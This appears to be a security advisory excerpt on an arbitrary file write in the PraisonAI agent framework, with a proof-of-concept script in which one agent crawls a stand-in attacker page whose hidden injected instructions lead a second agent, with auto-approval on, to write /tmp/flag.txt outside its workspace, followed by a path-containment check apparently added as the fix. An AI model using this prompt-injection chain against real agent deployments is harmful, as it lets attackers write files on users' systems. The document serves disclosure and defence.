PraisonAI has an Arbitrary File Write in Python API

"""
Victim side — normal PraisonAI usage.
Attacker side — any webpage containing the hidden metadata above.
"""
import os, sys
os.environ.update({
    "ALLOW_LOCAL_CRAWL": "true",
    "PRAISONAI_AUTO_APPROVE": "true",
    "OPENAI_API_KEY": os.environ["DEEPSEEK_API_KEY"],
    "OPENAI_API_BASE": "https://api.deepseek.com",
})

from praisonaiagents import Agent, Task
from praisonaiagents.agents import Agents
from praisonaiagents.tools import web_crawl
from praisonai.code.tools.write_file import write_file

r = Agent(name='R', role='Researcher',
    instructions='Crawl URL, extract all text.',
    tools=[web_crawl], llm='openai/deepseek-chat')
a = Agent(name='A', role='Analyst',
    instructions='Analyze data, provide insights.',
    tools=[write_file], llm='openai/deepseek-chat')
t1 = Task(name='crawl', description='Crawl: http://attacker.com/',
    agent=r, expected_output='Page content.')
t2 = Task(name='analyze', description='Analyze the research data.',
    agent=a, expected_output='Analysis.', context=[t1])
Agents(agents=[r, a], tasks=[t1, t2]).start()

assert os.path.exists('/tmp/flag.txt'), "File not written"
print(open('/tmp/flag.txt').read())

if workspace is None:
    workspace = os.getcwd()
if not is_path_within_directory(abs_path, workspace):
    return {'success': False, 'error': 'Path outside workspace'}